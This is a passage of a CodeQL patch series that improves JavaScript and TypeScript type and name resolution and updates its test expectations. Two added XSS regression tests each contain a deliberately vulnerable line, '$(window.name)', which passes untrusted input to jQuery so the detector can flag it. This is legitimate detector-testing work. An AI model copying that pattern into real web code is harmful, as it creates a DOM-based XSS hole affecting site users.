typeMember(Node host, DataFlow::Content content, Node memberType) { + typeOwnMember(host, content, memberType) or // Inherit members from base types + not typeOwnMember(host, content, _) and exists(ClassOrInterface baseType | typeMember(baseType, content, memberType) | host.(ClassDefinition).getSuperClass() = trackClassValue(baseType) or From 167f75230184edca81bc1d6392c5a3ef1f3b2b55 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 30 Apr 2025 14:15:07 +0200 Subject: [PATCH 047/271] JS: Also propagate through promise types --- .../semmle/javascript/dataflow/internal/Contents.qll | 8 ++++++++ .../lib/semmle/javascript/internal/TypeResolution.qll | 8 +++++++- .../library-tests/CallGraphs/AnnotatedTest/types.ts | 11 +++++++++++ 3 files changed, 26 insertions(+), 1 deletion(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll index 5cf5bf1e48e..a5af2737c18 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/Contents.qll @@ -179,6 +179,9 @@ module Public { /** Holds if this represents values stored at an unknown array index. */ predicate isUnknownArrayElement() { this = MkArrayElementUnknown() } + /** Holds if this represents the value of a resolved promise. */ + predicate isPromiseValue() { this = MkPromiseValue() } + /** Holds if this represents values stored in a `Map` at an unknown key. */ predicate isMapValueWithUnknownKey() { this = MkMapValueWithUnknownKey() } @@ -266,6 +269,11 @@ module Public { or this = ContentSet::anyCapturedContent() and result instanceof Private::MkCapturedContent + or + // Although data flow will never use the special `Awaited` ContentSet in a read or store step, + // it may appear in type-tracking and type resolution, and here it helps to treat is as `Awaited[value]`. + this = MkAwaited() and + result = MkPromiseValue() } /** Gets the singleton content to be accessed. */ diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index 0b1739b67df..76e8dd2210f 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -60,7 +60,7 @@ module TypeResolution { content.isUnknownArrayElement() ) or - // Ad-hoc support for array types. We don't support generics in general currently, we just special-case arrays. + // Ad-hoc support for array types. We don't support generics in general currently, we just special-case arrays and promises. content.isUnknownArrayElement() and ( memberType = host.(ArrayTypeExpr).getElementType() @@ -77,6 +77,9 @@ module TypeResolution { memberType = type.getArgument(0) ) ) + or + content.isPromiseValue() and + memberType = unwrapPromiseType(host) } /** @@ -120,6 +123,9 @@ module TypeResolution { object.(ObjectPattern).getPropertyPatternByName(contents.asPropertyName()).getValuePattern() = member or + member.(AwaitExpr).getOperand() = object and + contents = DataFlow::ContentSet::promiseValue() + or SummaryTypeTracker::basicLoadStep(object.(AST::ValueNode).flow(), member.(AST::ValueNode).flow(), contents) } diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts index 5081c4901e4..6dd94bcf195 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/types.ts @@ -14,3 +14,14 @@ function t1(c: NS.C, d: NS.D) { /** calls:NS.C.m */ d.m(); } + +async function t2(cp: Promise) { + const c = await cp; + /** calls:NS.C.m */ + c.m(); + + cp.then(c2 => { + /** calls:NS.C.m */ + c2.m(); + }) +} From 6e82b6eb1f7e734155bd4eccb625d4a501fdfd87 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 30 Apr 2025 14:32:58 +0200 Subject: [PATCH 048/271] JS: Add failing test for assigning a non-SourceNode to a type annotated-value --- .../ql/test/library-tests/UnderlyingTypes/varAssignment.ts | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts b/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts new file mode 100644 index 00000000000..63f3fe364cc --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts @@ -0,0 +1,5 @@ +import * as express from 'express'; + +function t1(e) { + var req: express.Request = e; // $ MISSING: hasUnderlyingType='express'.Request +} From e07a03619dddfb25ad0b6b2a28033e89d2b4c45b Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 14 Apr 2025 13:47:26 +0200 Subject: [PATCH 049/271] JS: Mark type-annotated nodes as SourceNode --- javascript/ql/lib/semmle/javascript/dataflow/Sources.qll | 8 +++++++- .../ql/lib/semmle/javascript/internal/TypeResolution.qll | 9 ++++++++- .../ql/test/library-tests/UnderlyingTypes/test.expected | 1 + .../test/library-tests/UnderlyingTypes/varAssignment.ts | 2 +- 4 files changed, 17 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll index 06729815e9a..ad0be276511 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll @@ -333,7 +333,13 @@ module SourceNode { astNode instanceof TaggedTemplateExpr or astNode instanceof Templating::PipeRefExpr or astNode instanceof Templating::TemplateVarRefExpr or - astNode instanceof StringLiteral + astNode instanceof StringLiteral or + astNode instanceof TypeAssertion + ) + or + exists(VariableDeclarator decl | + exists(decl.getTypeAnnotation()) and + this = DataFlow::valueNode(decl.getBindingPattern()) ) or DataFlow::parameterNode(this, _) diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index 76e8dd2210f..3df10f594e7 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -189,7 +189,12 @@ module TypeResolution { ) } - private predicate contextualType(Node value, Node type) { + predicate contextualType(Node value, Node type) { + exists(LocalVariable v | + type = v.getADeclaration().getTypeAnnotation() and + value = v.getAnAssignedExpr() + ) + or exists(InvokeExpr call, Function target, int i | callTarget(call, target) and value = call.getArgument(i) and @@ -228,6 +233,8 @@ module TypeResolution { predicate valueHasType(Node value, Node type) { value.(BindingPattern).getTypeAnnotation() = type or + value.(TypeAssertion).getTypeAnnotation() = type + or exists(VarDecl decl | // ValueFlow::step is restricted to variables with at most one assignment. Allow the type annotation // of a variable to propagate to its uses, even if the variable has multiple assignments. diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected index 8c8d2716a06..5ed9f42a7a5 100644 --- a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected @@ -48,3 +48,4 @@ | subtype.ts:7:13:7:15 | req | 'express'.Request | | subtype.ts:13:13:13:15 | req | 'express'.Request | | subtype.ts:19:13:19:15 | req | 'express'.Request | +| varAssignment.ts:4:9:4:11 | req | 'express'.Request | diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts b/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts index 63f3fe364cc..c7160e16561 100644 --- a/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts +++ b/javascript/ql/test/library-tests/UnderlyingTypes/varAssignment.ts @@ -1,5 +1,5 @@ import * as express from 'express'; function t1(e) { - var req: express.Request = e; // $ MISSING: hasUnderlyingType='express'.Request + var req: express.Request = e; // $ hasUnderlyingType='express'.Request } From fbafd6fff1008b1c9151d4beee2c91fce2031178 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 2 May 2025 13:43:12 +0200 Subject: [PATCH 050/271] JS: Update to avoid deprecations after import resolution change --- .../semmle/javascript/internal/NameResolution.qll | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll index f6f36cc7504..1ac63d107eb 100644 --- a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -55,11 +55,11 @@ module NameResolution { // This ensures we can also use the PathExpr as a source when working with external (unresolved) modules. exists(Import imprt | node1 = imprt.getImportedModule() and - node2 = imprt.getImportedPath() + node2 = imprt.getImportedPathExpr() ) or exists(ImportNamespaceSpecifier spec | - node1 = spec.getImportDeclaration().getImportedPath() and + node1 = spec.getImportDeclaration().getImportedPathExpr() and node2 = spec.getLocal() ) or @@ -79,7 +79,7 @@ module NameResolution { ) or exists(ExternalModuleReference ref | - node1 = ref.getImportedPath() and + node1 = ref.getImportedPathExpr() and node2 = ref ) or @@ -195,7 +195,7 @@ module NameResolution { ) or exists(ImportSpecifier spec | - node1 = spec.getImportDeclaration().getImportedPath() and + node1 = spec.getImportDeclaration().getImportedPathExpr() and name = spec.getImportedName() and node2 = spec.getLocal() ) @@ -411,12 +411,12 @@ module NameResolution { * Unlike `trackModule`, this is intended to track uses of external packages. */ predicate nodeRefersToModule(Node node, string mod, string qualifiedName) { - exists(PathExpr path | - path = any(Import imprt).getImportedPath() or + exists(Expr path | + path = any(Import imprt).getImportedPathExpr() or path = any(ReExportDeclaration e).getImportedPath() | node = path and - mod = normalizeModuleName(path.getValue()) and + mod = normalizeModuleName(path.getStringValue()) and isExternalModuleName(mod) and qualifiedName = "" ) From b8dc1b3125e3bb3c830070bca924f3ab7c37bf75 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 2 May 2025 13:47:32 +0200 Subject: [PATCH 051/271] JS: Remove redundant casts --- .../ql/lib/semmle/javascript/internal/TypeResolution.qll | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index 3df10f594e7..d0420f177e0 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -136,9 +136,9 @@ module TypeResolution { target = cls.getConstructor().getBody() ) or - valueHasType(call.(InvokeExpr).getCallee(), trackFunctionValue(target)) + valueHasType(call.getCallee(), trackFunctionValue(target)) or - valueHasType(call.(InvokeExpr).getCallee(), trackFunctionType(target)) and + valueHasType(call.getCallee(), trackFunctionType(target)) and ( call instanceof NewExpr and target = any(ConstructorTypeExpr t).getFunction() @@ -148,7 +148,7 @@ module TypeResolution { ) or exists(InterfaceDefinition interface, CallSignature sig | - valueHasType(call.(InvokeExpr).getCallee(), trackType(interface)) and + valueHasType(call.getCallee(), trackType(interface)) and sig = interface.getACallSignature() and target = sig.getBody() | From bba872a3a41211b0333ee767e1cda461d2920d11 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 12 May 2025 10:04:59 +0200 Subject: [PATCH 052/271] JS: Make jump-to-def behave nicer --- javascript/ql/lib/definitions.qll | 50 +++++++++++++++---- .../library-tests/DataFlow/tests.expected | 1 + .../definitions/definitions.expected | 26 +++++----- 3 files changed, 53 insertions(+), 24 deletions(-) diff --git a/javascript/ql/lib/definitions.qll b/javascript/ql/lib/definitions.qll index 2cc9313d313..6c998628821 100644 --- a/javascript/ql/lib/definitions.qll +++ b/javascript/ql/lib/definitions.qll @@ -153,17 +153,7 @@ private predicate jsdocTypeLookup(JSDocNamedTypeExpr ref, AstNode decl, string k kind = "T" } -/** - * Gets an element, of kind `kind`, that element `e` uses, if any. - * - * The `kind` is a string representing what kind of use it is: - * - `"M"` for function and method calls - * - `"T"` for uses of types - * - `"V"` for variable accesses - * - `"I"` for imports - */ -cached -AstNode definitionOf(Locatable e, string kind) { +private AstNode definitionOfRaw(Locatable e, string kind) { variableDefLookup(e, result, kind) or // prefer definitions over declarations @@ -179,3 +169,41 @@ AstNode definitionOf(Locatable e, string kind) { or jsdocTypeLookup(e, result, kind) } + +/** Gets a more useful node to show for something that resolves to `node`. */ +private AstNode redirectOnce(AstNode node) { + exists(ConstructorDeclaration ctor | + ctor.isSynthetic() and + node = ctor.getBody() and + result = ctor.getDeclaringClass() + ) + or + exists(ClassDefinition cls | + node = cls and + result = cls.getIdentifier() + ) + or + exists(MethodDeclaration member | + not member instanceof ConstructorDeclaration and + node = member.getBody() and + result = member.getNameExpr() + ) +} + +private AstNode redirect(AstNode node) { + node = definitionOfRaw(_, _) and + result = redirectOnce*(node) and + not exists(redirectOnce(result)) +} + +/** + * Gets an element, of kind `kind`, that element `e` uses, if any. + * + * The `kind` is a string representing what kind of use it is: + * - `"M"` for function and method calls + * - `"T"` for uses of types + * - `"V"` for variable accesses + * - `"I"` for imports + */ +cached +AstNode definitionOf(Locatable e, string kind) { result = redirect(definitionOfRaw(e, kind)) } diff --git a/javascript/ql/test/library-tests/DataFlow/tests.expected b/javascript/ql/test/library-tests/DataFlow/tests.expected index 55c6771eef0..e3f6073461a 100644 --- a/javascript/ql/test/library-tests/DataFlow/tests.expected +++ b/javascript/ql/test/library-tests/DataFlow/tests.expected @@ -1514,6 +1514,7 @@ sources | tst2.ts:7:1:9:1 | return of function setX | | tst2.ts:8:3:8:5 | A.x | | tst2.ts:11:11:11:13 | A.x | +| tst2.ts:11:11:11:23 | A.x as number | | tst2.ts:13:1:13:40 | class S ... ing> {} | | tst2.ts:13:26:13:29 | List | | tst2.ts:13:39:13:38 | (...arg ... rgs); } | diff --git a/javascript/ql/test/query-tests/definitions/definitions.expected b/javascript/ql/test/query-tests/definitions/definitions.expected index 081db47c3fa..cdf3136eb38 100644 --- a/javascript/ql/test/query-tests/definitions/definitions.expected +++ b/javascript/ql/test/query-tests/definitions/definitions.expected @@ -2,22 +2,22 @@ | b.js:7:1:7:1 | f | b.js:1:1:5:1 | functio ... ar x;\\n} | M | | b.js:8:1:8:1 | g | a.js:2:1:2:15 | function g() {} | M | | client.ts:1:22:1:30 | "./tslib" | tslib.ts:1:1:10:0 | | I | -| client.ts:7:19:7:19 | C | tslib.ts:1:8:3:1 | class C {\\n m() {}\\n} | T | -| client.ts:8:10:8:10 | C | client.ts:3:1:5:1 | class C {\\n m() {}\\n} | T | -| client.ts:9:16:9:16 | C | client.ts:3:1:5:1 | class C {\\n m() {}\\n} | T | -| client.ts:10:16:10:16 | C | tslib.ts:6:10:8:3 | class C ... {}\\n } | T | -| client.ts:13:25:13:25 | C | client.ts:3:1:5:1 | class C {\\n m() {}\\n} | T | -| client.ts:13:35:13:35 | C | tslib.ts:1:8:3:1 | class C {\\n m() {}\\n} | T | -| client.ts:13:47:13:47 | C | tslib.ts:6:10:8:3 | class C ... {}\\n } | T | +| client.ts:7:19:7:19 | C | tslib.ts:1:14:1:14 | C | T | +| client.ts:8:10:8:10 | C | client.ts:3:7:3:7 | C | T | +| client.ts:9:16:9:16 | C | client.ts:3:7:3:7 | C | T | +| client.ts:10:16:10:16 | C | tslib.ts:6:16:6:16 | C | T | +| client.ts:13:25:13:25 | C | client.ts:3:7:3:7 | C | T | +| client.ts:13:35:13:35 | C | tslib.ts:1:14:1:14 | C | T | +| client.ts:13:47:13:47 | C | tslib.ts:6:16:6:16 | C | T | | client.ts:14:3:14:3 | x | client.ts:13:22:13:22 | x | V | -| client.ts:14:5:14:5 | m | client.ts:4:3:4:8 | m() {} | M | +| client.ts:14:5:14:5 | m | client.ts:4:3:4:3 | m | M | | client.ts:15:3:15:3 | y | client.ts:13:28:13:28 | y | V | -| client.ts:15:5:15:5 | m | tslib.ts:2:3:2:8 | m() {} | M | +| client.ts:15:5:15:5 | m | tslib.ts:2:3:2:3 | m | M | | client.ts:16:3:16:3 | z | client.ts:13:38:13:38 | z | V | -| client.ts:16:5:16:5 | m | tslib.ts:7:5:7:10 | m() {} | M | +| client.ts:16:5:16:5 | m | tslib.ts:7:5:7:5 | m | M | | d.js:1:17:1:21 | './c' | c.js:1:1:1:20 | | I | | d.js:10:1:10:1 | A | d.js:7:1:9:1 | functio ... = 42;\\n} | V | -| d.js:16:19:16:23 | Super | d.js:12:1:14:1 | class S ... () {}\\n} | V | +| d.js:16:19:16:23 | Super | d.js:12:7:12:11 | Super | V | | d.js:16:25:16:24 | args | d.js:16:25:16:24 | args | V | | d.js:20:1:20:1 | o | d.js:3:9:5:1 | {\\n f: ... () {}\\n} | V | | d.js:20:3:20:3 | f | d.js:4:3:4:18 | f: function() {} | M | @@ -26,11 +26,11 @@ | d.js:23:3:23:3 | x | d.js:8:3:8:8 | this.x | M | | d.js:24:1:24:1 | a | d.js:22:5:22:5 | a | V | | d.js:24:3:24:3 | g | d.js:10:1:10:13 | A.prototype.g | M | -| d.js:26:13:26:15 | Sub | d.js:16:1:18:1 | class S ... () {}\\n} | M | +| d.js:26:13:26:15 | Sub | d.js:16:7:16:9 | Sub | M | | d.js:27:1:27:1 | x | d.js:26:5:26:5 | x | V | | d.js:27:3:27:3 | m | d.js:13:3:13:3 | m | M | | d.js:28:1:28:1 | x | d.js:26:5:26:5 | x | V | | d.js:28:3:28:3 | n | d.js:17:3:17:3 | n | M | | tst.js:1:19:1:23 | './m' | m.js:1:1:2:0 | | I | -| tst.js:3:5:3:5 | A | m.js:1:8:1:17 | class A {} | M | +| tst.js:3:5:3:5 | A | m.js:1:14:1:14 | A | M | | tst.js:5:15:5:19 | './m' | m.js:1:1:2:0 | | I | From de7d851195119339fe3a36c9824c11ff0580fe9e Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 12 May 2025 10:31:13 +0200 Subject: [PATCH 053/271] JS: Update output of old HasUnderlyingType test --- .../TypeScript/HasUnderlyingType/HasUnderlyingType.expected | 1 + 1 file changed, 1 insertion(+) diff --git a/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected b/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected index e330bb897b7..91eb164f394 100644 --- a/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected +++ b/javascript/ql/test/library-tests/TypeScript/HasUnderlyingType/HasUnderlyingType.expected @@ -5,5 +5,6 @@ | tst.ts:8:14:8:16 | arg | Sub in global scope | underlyingTypeNode | foo | | file://:0:0:0:0 | use moduleImport("foo").getMember("exports") | +| foo | | file://:0:0:0:0 | use moduleImport("foo").getMember("exports").getMember("") | | foo | | foo.ts:1:8:1:10 | use moduleImport("foo").getMember("exports").getMember("default") | | foo | Bar | foo.ts:3:12:3:12 | use moduleImport("foo").getMember("exports").getMember("Bar").getInstance() | From 22a41142de3f74017bc7116c675d99560104302d Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 12 May 2025 10:33:59 +0200 Subject: [PATCH 054/271] JS: Accept regression in overload resolution Overload resolution has little impact on data flow analysis, because there we care about the concrete implementation of the function, which is the same for all overloads. It can affect the return type, which in turn can affect the call graph we generate, but we'll just have to accept this as overload resolution is too hard without negative recursion. --- .../CallResolution/CallTarget.expected | 38 ++++++++++++++----- 1 file changed, 29 insertions(+), 9 deletions(-) diff --git a/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected b/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected index a91505e3f03..69374cbf4bf 100644 --- a/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected +++ b/javascript/ql/test/library-tests/TypeScript/CallResolution/CallTarget.expected @@ -1,16 +1,36 @@ -| tst.ts:52:3:52:23 | obj.sim ... od(str) | TestInterface.simpleMethod in global scope | no concrete target | -| tst.ts:53:3:53:24 | obj.gen ... od(str) | TestInterface.genericMethod in global scope | no concrete target | -| tst.ts:54:3:54:24 | obj.gen ... od(num) | TestInterface.genericMethod in global scope | no concrete target | -| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | no concrete target | -| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | no concrete target | -| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | no concrete target | -| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | no concrete target | -| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | no concrete target | -| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | no concrete target | +| tst.ts:52:3:52:23 | obj.sim ... od(str) | TestInterface.simpleMethod in global scope | simpleM ... number; | +| tst.ts:53:3:53:24 | obj.gen ... od(str) | TestInterface.genericMethod in global scope | generic ... T): T; | +| tst.ts:54:3:54:24 | obj.gen ... od(num) | TestInterface.genericMethod in global scope | generic ... T): T; | +| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | overloa ... ): any; | +| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | overloa ... number; | +| tst.ts:55:3:55:27 | obj.ove ... od(num) | TestInterface.overloadedMethod in global scope | overloa ... string; | +| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | overloa ... ): any; | +| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | overloa ... number; | +| tst.ts:56:3:56:27 | obj.ove ... od(str) | TestInterface.overloadedMethod in global scope | overloa ... string; | +| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | overloa ... ): any; | +| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | overloa ... number; | +| tst.ts:57:3:57:26 | obj.ove ... hod([]) | TestInterface.overloadedMethod in global scope | overloa ... string; | +| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | generic ... ): any; | +| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:58:3:58:36 | obj.gen ... ([num]) | TestInterface.genericOverloadedMethod in global scope | generic ... []): T; | +| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | generic ... ): any; | +| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:59:3:59:39 | obj.gen ... : str}) | TestInterface.genericOverloadedMethod in global scope | generic ... []): T; | +| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | generic ... ): any; | +| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:60:3:60:34 | obj.gen ... od(num) | TestInterface.genericOverloadedMethod in global scope | generic ... []): T; | | tst.ts:64:3:64:23 | obj.sim ... od(str) | TestClass.simpleMethod in global scope | simpleM ... ength } | | tst.ts:65:3:65:24 | obj.gen ... od(str) | TestClass.genericMethod in global scope | generic ... rn x; } | | tst.ts:66:3:66:24 | obj.gen ... od(num) | TestClass.genericMethod in global scope | generic ... rn x; } | +| tst.ts:67:3:67:27 | obj.ove ... od(num) | TestClass.overloadedMethod in global scope | overloa ... number; | | tst.ts:67:3:67:27 | obj.ove ... od(num) | TestClass.overloadedMethod in global scope | overloa ... rn x; } | +| tst.ts:67:3:67:27 | obj.ove ... od(num) | TestClass.overloadedMethod in global scope | overloa ... string; | +| tst.ts:68:3:68:27 | obj.ove ... od(str) | TestClass.overloadedMethod in global scope | overloa ... number; | | tst.ts:68:3:68:27 | obj.ove ... od(str) | TestClass.overloadedMethod in global scope | overloa ... rn x; } | +| tst.ts:68:3:68:27 | obj.ove ... od(str) | TestClass.overloadedMethod in global scope | overloa ... string; | +| tst.ts:69:3:69:36 | obj.gen ... ([num]) | TestClass.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:69:3:69:36 | obj.gen ... ([num]) | TestClass.genericOverloadedMethod in global scope | generic ... []): T; | | tst.ts:69:3:69:36 | obj.gen ... ([num]) | TestClass.genericOverloadedMethod in global scope | generic ... null; } | +| tst.ts:70:3:70:39 | obj.gen ... : str}) | TestClass.genericOverloadedMethod in global scope | generic ... T>): T; | +| tst.ts:70:3:70:39 | obj.gen ... : str}) | TestClass.genericOverloadedMethod in global scope | generic ... []): T; | | tst.ts:70:3:70:39 | obj.gen ... : str}) | TestClass.genericOverloadedMethod in global scope | generic ... null; } | From b610e10122dc75f2dbb8bb6f0826a69b4bb53417 Mon Sep 17 00:00:00 2001 From: Asger F Date: Mon, 12 May 2025 10:36:09 +0200 Subject: [PATCH 055/271] JS: Accept change in handling of variable resolution in face of ambient declarations This test enforced the opinion that ambient declarations should have no impact on data flow, which is no longer the case. For now I'm just updating the test output. --- .../library-tests/TypeScript/Ambients/Ambients.expected | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected b/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected index 7a60484a5f7..63e749e97be 100644 --- a/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected +++ b/javascript/ql/test/library-tests/TypeScript/Ambients/Ambients.expected @@ -1 +1,7 @@ -| tst.ts:38:3:38:19 | resolveAmbient(x) | x should not resolve to a global | +| tst.ts:22:3:22:18 | resolveGlobal(x) | x should resolve to a global variable | +| tst.ts:23:3:23:18 | resolveGlobal(y) | y should resolve to a global variable | +| tst.ts:24:3:24:18 | resolveGlobal(z) | z should resolve to a global variable | +| tst.ts:25:3:25:18 | resolveGlobal(w) | w should resolve to a global variable | +| tst.ts:39:3:39:18 | resolveGlobal(y) | y should resolve to a global variable | +| tst.ts:40:3:40:18 | resolveGlobal(z) | z should resolve to a global variable | +| tst.ts:41:3:41:18 | resolveGlobal(w) | w should resolve to a global variable | From 27979c6a2fe7821bbe8e95844900186984c66c71 Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 13 May 2025 15:57:51 +0200 Subject: [PATCH 056/271] JS: Add regression tests for declared globals --- .../Security/CWE-079/DomBasedXss/jquery-declare-any.ts | 7 +++++++ .../Security/CWE-079/DomBasedXss/jquery-declare-type.ts | 7 +++++++ 2 files changed, 14 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts create mode 100644 javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts new file mode 100644 index 00000000000..fc0dfbc7390 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-any.ts @@ -0,0 +1,7 @@ +import 'dummy'; + +declare var $: any; + +function t() { + $(window.name); // $ MISSING: Alert +} diff --git a/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts new file mode 100644 index 00000000000..072f98a5377 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-079/DomBasedXss/jquery-declare-type.ts @@ -0,0 +1,7 @@ +import 'dummy'; + +declare var $: JQueryStatic; + +function t() { + $(window.name); // $ MISSING: Alert +} From 9bcc62002d2a387a3bf4c985417738f84380523d Mon Sep 17 00:00:00 2001 From: Asger F Date: Tue, 13 May 2025 16:16:33 +0200 Subject: [PATCH 057/271] JS: Fix regression from global declare vars --- .../ql/lib/semmle/javascript/Variables.qll | 20 ++++++++++++++++- .../javascript/internal/NameResolution.qll | 22 ++++++++++++++++--- .../javascript/internal/TypeResolution.qll | 4 ++-- .../Security/CWE-079/DomBasedXss/Xss.expected | 4 ++++ .../XssWithAdditionalSources.expected | 2 ++ .../CWE-079/DomBasedXss/jquery-declare-any.ts | 2 +- .../DomBasedXss/jquery-declare-type.ts | 2 +- 7 files changed, 48 insertions(+), 8 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/Variables.qll b/javascript/ql/lib/semmle/javascript/Variables.qll index e8abb6ad981..2f9905f86e1 100644 --- a/javascript/ql/lib/semmle/javascript/Variables.qll +++ b/javascript/ql/lib/semmle/javascript/Variables.qll @@ -134,8 +134,26 @@ class Variable extends @variable, LexicalName { /** Gets the scope this variable is declared in. */ override Scope getScope() { variables(this, _, result) } + /** + * Holds if this variable is declared in the top-level of a module using a `declare` statement. + * + * For example: + * ```js + * declare var $: any; + * ``` + * + * Such variables are generally treated as a global variables, except for type-checking related purposes. + */ + pragma[nomagic] + predicate isTopLevelWithAmbientDeclaration() { + this.getScope() instanceof ModuleScope and + forex(VarDecl decl | decl = this.getADeclaration() | decl.isAmbient()) + } + /** Holds if this is a global variable. */ - predicate isGlobal() { this.getScope() instanceof GlobalScope } + predicate isGlobal() { + this.getScope() instanceof GlobalScope or this.isTopLevelWithAmbientDeclaration() + } /** * Holds if this is a variable exported from a TypeScript namespace. diff --git a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll index 1ac63d107eb..8a9a1c71edc 100644 --- a/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/NameResolution.qll @@ -28,7 +28,7 @@ module NameResolution { Location getLocation() { result = this.(AstNode).getLocation() or - result = this.(LocalVariable).getLocation() + result = this.(LocalVariableLike).getLocation() or result = this.(JSDocTypeExpr).getLocation() } @@ -47,6 +47,22 @@ module NameResolution { } } + /** + * A local variable, or a top-level 